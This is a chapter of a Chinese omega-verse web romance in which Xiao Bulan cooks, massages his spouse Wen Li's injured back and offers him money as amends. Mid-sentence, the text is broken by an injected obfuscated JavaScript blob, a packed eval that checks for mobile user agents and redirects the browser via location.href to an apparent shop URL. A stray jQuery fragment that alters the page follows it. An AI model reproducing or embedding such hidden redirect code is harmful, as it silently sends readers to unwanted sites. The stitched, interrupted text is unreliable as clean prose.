11. 家妻有细腰

作品:《直男龙傲天捡了omega老婆

    直到萧不澜踩着桌子换完灯泡,温梨都还在琢磨刚才那句话。


    他说,他会对他好吗?


    这样的话,萧不澜以前也不是没有说过。


    温梨已经被骗过一次,好像不应该再那么傻了。但是,萧不澜似乎又的确在行动。


    萧不澜给他买了维生素片,竟然还有一盒维生素软糖。温梨吃了颗软糖,小熊样子的,酸酸甜甜,葡萄果味很浓。


    他没忍住多吃了两颗,然后就把盖子扣紧了。


    没记错的话,这个好像不便宜的,温梨打算省着点吃。


    “晚上要吃什么,炒个小菜?”


    萧不澜问他。


    温梨眨眨眼睛,慢吞吞起身:“我来,我来做吧……嘶!”


    他不动还好,一动就腰疼。刚才那一下真是扭狠了,好像扭到哪根骨头了。


    萧不澜不搭理他,自顾自围上围裙。


    温梨的围裙对他来说有点小,勉强绑上绳子,上面是五颜六色的小花图案,挂在人高马大的alpha身上,怎么看怎么滑稽。


    “你还笑?没觉得自己有错是吗?”


    萧不澜一看他那柔弱不能自理的样子,就气不打一处来。


    温梨一哂,不敢笑了,小声跟他保证:“我下次真的不会了……”


    男人“呵”了一声,也不知道到底信不信,边在碗里敲鸡蛋,边跟他说:“以后换灯泡这种事都交给我,我不在家,你可以给我发消息,打电话也行。”


    温梨:“可是你之前不想要我找你,就把我拉黑了。”


    萧不澜:“……”


    原主留下的烂摊子一个接一个,萧不澜只能认栽。


    他摸出手机,找到黑名单里的号码,把人拉出来,顺便备注名字:“这下行了?”


    温梨“嗯”了一声,又说:“谢谢你。”


    萧不澜手艺一般,记着温梨上次做番茄炒蛋的步骤,自己试着炒了炒,最后发现成品很不一样。


    算了,凑合吃。


    他又炒了个青菜,把饭端上桌。


    温梨在卧室里查看自己的伤口。他把衬衫下摆叼在嘴里,扭头去看自己的后腰,看有没有伤口。


    好像是没有……就是有点淤青?


    温梨伸手触了触那一块儿,果然是疼,疼得他龇牙咧嘴。


    恰好这时,房门被人推开。温梨忘了关紧门,萧不澜顺势就进来了。


    一进来,便瞧见青年嘴里叼着衣服,小腹以下的位置都露出来,从萧不澜这个角度,还能看见一截白瘦的腰。


    温梨吓了一跳,赶紧拉下衣服,“你进来怎么不敲门呀!”


    “我,嗯……”萧不澜语无伦次,“你门没关紧,我就直接推门进来了。”


    他说着,偏过头去,没看温梨的眼睛,轻咳一声:“别想那么多,来叫你吃饭的。”


    谁想那么多了?想什么呢!


    温梨觉得他莫名其妙。


    整理好衣服,来到餐桌前,一共就俩菜,叫温梨直皱眉头。


    番茄炒蛋不像他做的那样酸甜挂汁,不怎么下饭;最简单的小青菜也没炒好,吃着水不拉叽的,调料味没融合进去,只有一点咸味。


    温梨吃进去半根,嚼一嚼,又忍不住吐出来,忧郁写在小脸儿上。


    好难吃啊!


    说实话,萧不澜很心虚,他提前尝过了,的确是非常不好吃,果然没能把温梨糊弄过去。


    男人放下筷子,清清嗓子道:“咳,要不,我下去打包面条?”


    温梨点头。


    萧不澜的厨艺实在感人,到了难以下咽的程度,两盘菜只能倒掉。最后两人各自吃了一份面,才算填饱肚子。


    吃完面,萧不澜把垃圾收好,见他还捂着腰,走路都有点蹒跚,好像是真伤着了。


    萧不澜跟进卧室,问他:“伤到哪儿了?”


    “不知道,”温梨摇头,“就是感觉抽着疼,走路也会扯到……”


    “骨头没事吧?”


    温梨摇摇头:“好像也有点?”


    萧不澜心下了然,往床边一坐,再拍拍身边的位置:“你坐下。”


    “……?”


    温梨不理解但照做。坐下之后,萧不澜又让他趴下,给他怀里塞了个枕头。


    下一秒,他感觉自己的衣服被人掀起来了。


    “你、你干嘛呀?”


    温梨大惊失色,扭头惊骇地看着他。


    萧不澜用手掌丈量了一下他的腰,好窄,跟自己的手一样宽。


    量完后,萧不澜笑吟吟:“实不相瞒,我以前学过两招正骨。”


    ——“很有威力。”


    “嗷嗷嗷!”


    温梨还想问他上哪儿学的、真的靠谱吗?他二话不说,压着人就开按摩了。


    男人的手掌很宽大,而且有劲,每根手指仿佛都有无穷力道,一只手轻易掐着他的腰,钳制住他的动作,另一只手大力揉压起来。


    温梨感觉自己被当面团似的揉来捏去。这样很难为情,他摇着头就要跑。


    双腿跪着没力气,温梨就只能爬,抓着被子爬出一段,又被alpha掐着腰拽回来。


    萧不澜皱眉,警告他:“别乱动,等会儿按错地方可真就半身不遂了。”


    温梨忍受不了,泪水在眼眶里打转,哭声断断续续,哀哀求饶:“不、呜呜,好疼!我受不住,啊……你轻一点好不好?”


    萧不澜毫不留情:“轻不了。没按到位,你回头还得疼。”


    “嗯,呜……”


    他态度太强硬,温梨也没办法了,疼得直抽抽也只能强忍,嘴里咬着枕头,生生扛着。


    萧不澜被他这样子逗笑,心道,有这么疼吗?


    自己以前也给别的兄弟按过,因为手艺太好,有体育生训练完都来找他帮忙按,按到最后嘴里就一个字:爽!


    温梨哭得眼睛都睁不开了,萧不澜才终于给他按完了。


    说是正骨,威力不亚于十大酷刑!温梨好久没缓过劲儿来,趴在床上还在小声求饶。


    他哭得太狠了,搞得萧不澜都不知道怎么办了,思考片刻,起身拿了根毛巾,沾湿后递给他:“擦擦脸。”


    温梨不情不愿接过毛巾擦脸,说话还带着浓重的鼻音,哼哼唧唧骂他:“萧不澜,呜,你就是个王八蛋……”


    萧不澜举双手投降:“我的问题。”


    又说:“你动动看?看还疼不疼。”


    温梨狐疑看了他一眼,擦干净脸,手撑着床爬起来,翻了个身。欸,好


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479029|201642||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    像还真不疼了?


    他不敢相信,又站起来走几步,动来动去,身上都不疼了。


    竟然还真被萧不澜给按好了。


    萧不澜颇有些得意,看来自己的手艺还是在的:“怎么样,我说过我不会害你的。”


    温梨还是没好气,瞪他一眼:“那也还是疼,长痛变成短痛而已!”


    唉,谁能评评理,有谁跟温梨一眼不讲理的?被人帮了一把,还不给好脸色看的。


    算了。萧不澜早该习惯。


    Omega是这样的,他在心底默默告诉自己。娇气也好,坏脾气也罢,都是正常的。


    萧不澜安抚好自己,去洗了手,穿回外套。看一眼时间,已经不早了,他该回宿舍那边休息了,温梨不会喜欢他呆在这里。


    “那我就先走了?”


    温梨“嗯”了一声,想了想还是开口:“今天谢谢你。”


    他抿了下唇,抬眼看alpha:“之前几次也谢谢。”


    他们虽然结婚了,但关系实在不算亲近。萧不澜不过随手帮几个小忙,温梨就要追着他说“谢谢”。


    但这好像就是萧不澜想要的。距离不远又不近,像室友一样相处。


    萧不澜一边说“不用谢”,一边从兜里摸出一张纸钞。


    一张非常平整、完全崭新的红票子。


    他把这钱拿给温梨。


    温梨懵:“你做什么?”


    “给你拿着。”


    “给我干嘛?”温梨下意识推辞,“我不要你的钱,我刚才没有真生气,你别这样……”


    他还以为萧不澜是真觉得自己生气了,这钱拿来道歉封口的。


    萧不澜笑了下:“跟刚才那事儿没关系,是拿给你用的。”


    温梨更懵了。


    为什么要突然给他钱?


    被他这样盯着,萧不澜反而不自在,也不知道该怎么解释。


    你要说是室友吧?谁家室友好端端给别人钱花。但要说是那个啥,萧不澜更不可能认了。


    思考过后,萧不澜开口:“算是补偿。”


    “补偿?”温梨以为自己听错了。


    “嗯。”


    萧不澜摸了摸鼻子,别开视线不看他:“我之前对你不好,现在意识到错误了,多少还是想弥补一下。”


    弥补,弥补他用一百块钱就打发了吗?


    温梨觉得他一直在挑衅自己,并且证据确凿。


    温梨:“可是,很多事情是没办法弥补的,你应该也知道,你之前那样对我……我很难做到不怨恨你。”


    “而且我应该也不至于被这点小恩小惠收买,一百块钱就想打发我,是不是太掉价了?”


    温梨小声嘟囔后半句话,也被萧不澜听了去。


    萧不澜笑:“没想打发你。但是不拿白不拿,你可以不原谅我钱你得收吧?就当走路上捡了一百块钱,这不好吗?”


    这话在理。温梨看看他,又看看那张红票子,最后还是把它收下了。


    收了钱,温梨再次强调:“我真的没有原谅你。”


    “嗯,我知道。”


    给他塞了钱,萧不澜心情轻快不少,开门欲走,临走前对他说:


    “你扎头发挺好看的……以后可以多扎。”